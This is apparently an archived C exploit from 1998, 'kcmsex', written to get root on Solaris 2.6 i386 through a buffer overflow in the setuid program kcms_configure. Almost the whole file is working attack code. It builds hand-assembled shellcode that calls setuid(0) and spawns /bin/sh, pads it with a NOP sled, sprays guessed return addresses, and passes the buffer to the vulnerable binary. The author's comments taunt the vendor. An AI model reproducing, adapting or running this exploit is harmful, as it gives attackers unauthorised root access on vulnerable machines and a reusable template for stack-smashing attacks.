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kcmsex.c
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Wrap
C/C++ Source or Header
|
2005-02-12
|
4KB
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101 lines
/**
*** kcmsex - i386 Solaris root exploit for /usr/openwin/bin/kcms_configure
***
*** Tested and confirmed under Solaris 2.6 i386
***
*** Usage: % kcmsex [offset]
***
*** where offset (if present) is the number of bytes to add to the stack
*** pointer to calculate your target return address; try -1000 to 1000 in
*** increments of 100 for starters. Thanks go to Sun for cranking out
*** such sloppy privileged code. Keep those holes a coming, boys!
***
*** Cheez Whiz
*** cheezbeast@hotmail.com
***
*** December 17, 1998
**/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BUFLEN 500
#define NOP 0x90
char shell[] =
/* 0 */ "\xeb\x3b" /* jmp springboard [2000]*/
/* syscall: [2000]*/
/* 2 */ "\x9a\xff\xff\xff\xff\x07\xff" /* lcall 0x7,0x0 [2000]*/
/* 9 */ "\xc3" /* ret [2000]*/
/* start: [2000]*/
/* 10 */ "\x5e" /* popl %esi [2000]*/
/* 11 */ "\x31\xc0" /* xor %eax,%eax [2000]*/
/* 13 */ "\x89\x46\xc1" /* movl %eax,-0x3f(%esi) */
/* 16 */ "\x88\x46\xc6" /* movb %al,-0x3a(%esi) */
/* 19 */ "\x88\x46\x07" /* movb %al,0x7(%esi) */
/* 22 */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
/* setuid: [2000]*/
/* 25 */ "\x31\xc0" /* xor %eax,%eax [2000]*/
/* 27 */ "\x50" /* pushl %eax [2000]*/
/* 28 */ "\xb0\x17" /* movb $0x17,%al [2000]*/
/* 30 */ "\xe8\xdf\xff\xff\xff" /* call syscall [2000]*/
/* 35 */ "\x83\xc4\x04" /* addl $0x4,%esp [2000]*/
/* execve: [2000]*/
/* 38 */ "\x31\xc0" /* xor %eax,%eax [2000]*/
/* 40 */ "\x50" /* pushl %eax [2000]*/
/* 41 */ "\x8d\x5e\x08" /* leal 0x8(%esi),%ebx */
/* 44 */ "\x53" /* pushl %ebx [2000]*/
/* 45 */ "\x8d\x1e" /* leal (%esi),%ebx[2000]*/
/* 47 */ "\x89\x5e\x08" /* movl %ebx,0x8(%esi) */
/* 50 */ "\x53" /* pushl %ebx [2000]*/
/* 51 */ "\xb0\x3b" /* movb $0x3b,%al [2000]*/
/* 53 */ "\xe8\xc8\xff\xff\xff" /* call syscall [2000]*/
/* 58 */ "\x83\xc4\x0c" /* addl $0xc,%esp [2000]*/
/* springboard: [2000]*/
/* 61 */ "\xe8\xc8\xff\xff\xff" /* call start [2000]*/
/* data: [2000]*/
/* 66 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA [2000]*/
/* 74 */ "\xff\xff\xff\xff" /* DATA [2000]*/
/* 78 */ "\xff\xff\xff\xff"; /* DATA [2000]*/
char buf[BUFLEN];
unsigned long int nop, esp;
long int offset = 0;
unsigned long int
get_esp()
{
__asm__("movl %esp,%eax");
}
void
main (int argc, char *argv[])
{
int i;
if (argc > 1)
offset = strtol(argv[1], NULL, 0);
if (argc > 2)
nop = strtoul(argv[2], NULL, 0);
else
nop = 285;
esp = get_esp();
memset(buf, NOP, BUFLEN);
memcpy(buf+nop, shell, strlen(shell));
for (i = nop+strlen(shell); i < BUFLEN-4; i += 4)
*((int *) &buf[i]) = esp+offset;
printf("jumping to 0x%08x (0x%08x offset %d) [nop %d]\n",
esp+offset, esp, offset, nop);
execl("/usr/openwin/bin/kcms_configure", "kcms_configure", "-P", buf,
"foofoo", NULL);
printf("exec failed!\n");
return;
}
/* www.hack.co.za [2000]*/